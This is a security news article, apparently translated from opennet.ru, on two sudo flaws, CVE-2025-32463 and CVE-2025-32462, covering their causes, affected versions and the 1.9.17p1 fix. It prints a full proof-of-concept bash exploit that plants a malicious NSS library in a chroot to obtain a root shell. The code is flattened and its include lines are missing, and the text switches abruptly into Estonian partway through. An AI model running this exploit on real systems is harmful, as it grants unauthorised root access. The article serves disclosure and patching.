Vulnerabilities in the sudo utility that allow obtaining root privileges in the system

A vulnerability has been identified in the sudo package, used to execute commands on behalf of other users (CVE-2025-32463), allowing any non-privileged user to execute code with root privileges, even if the user is not specified in the sudoers configuration. The issue affects distributions using the configuration file /etc/nsswitch.conf, for example, the vulnerability has been demonstrated in Ubuntu 24.04 and Fedora 41.

The vulnerability manifests in the default configuration and has been confirmed in sudo releases from 1.9.14 to 1.9.17 (potentially affecting all versions starting from 1.8.33). The issue has been resolved in the sudo update 1.9.17p1. To check the status of the new package version or the preparation of a patch in distributions, you can visit the following pages (if the page is unavailable, it means the distribution developers have not yet started addressing the issue): Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Gentoo, and Arch (1, 2).

The issue arises because when using the ‘-R’ (‘—chroot’) option to run commands in a chroot environment with a selected user root directory, the file /etc/nsswitch.conf is loaded in the context of the new root directory, rather than the system directory. As the user can use their own directory as the root directory for chroot, they can place the nsswitch.conf configuration file in it. By controlling the file /etc/nsswitch.conf loaded by the NSS (Name Service Switch) subsystem, the user can add settings that lead to additional handlers being called. Such handlers are loaded by NSS in the form of shared libraries, which can also be placed in the user-controlled directory. By substituting their own library, the user can achieve code execution from it with root rights since NSS processing occurs before privilege drop.

Example exploit: #!/bin/bash STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 cat > woot1337.c<<EOF #include #include __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir("/"); execl("/bin/bash", "/bin/bash", NULL); } EOF mkdir -p woot/etc libnss_ echo "passwd: /woot1337" > woot/etc/nsswitch.conf cp /etc/group woot/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c echo "woot!" sudo -R woot woot rm -rf ${STAGE?}

Sudo versioonis 1.9.17p1 on kõrvaldatud veel üks haavatavus (CVE-2025-32462), mis võimaldab käivitada käsku root'i õigustes, kuid avaldub vaid sudoers konfiguratsioonides, mille parameeter „host” on seadistatud väärtusele, mis ei ole ALL või jooksva hosti nimi. Haavatavuse põhjuseks on viga, mille tõttu valik „-h” („—host”) toimis mitte ainult koos valikuga „-l” („—list”) hostiga seotud privileegide väljatrükkimiseks, vaid ka käskude käivitamisel. Seega võis kasutaja käskude kutsumise ajal määrata mis tahes hosti ja eirata sudoers reeglite piiranguid, mis on seotud hosti nimega.

Rünnaku sooritamiseks peab kasutaja olema sudoers failis, näiteks kui seadistustes on märgitud „testuser testhost = ALL”, siis sai kasutaja „testuser” määrata „sudo -h testhost” ja käivitada käskusid root'i õigustes mistahes hostidel, mitte ainult hostil testhost. Haavatavustele ei ole vastuvõtlikud konfiguratsioonid, kus seaded on kujul „testuser ALL = ALL” või ei ole selgeid reegleid konkreetse kasutaja jaoks.

Allikas: opennet.ru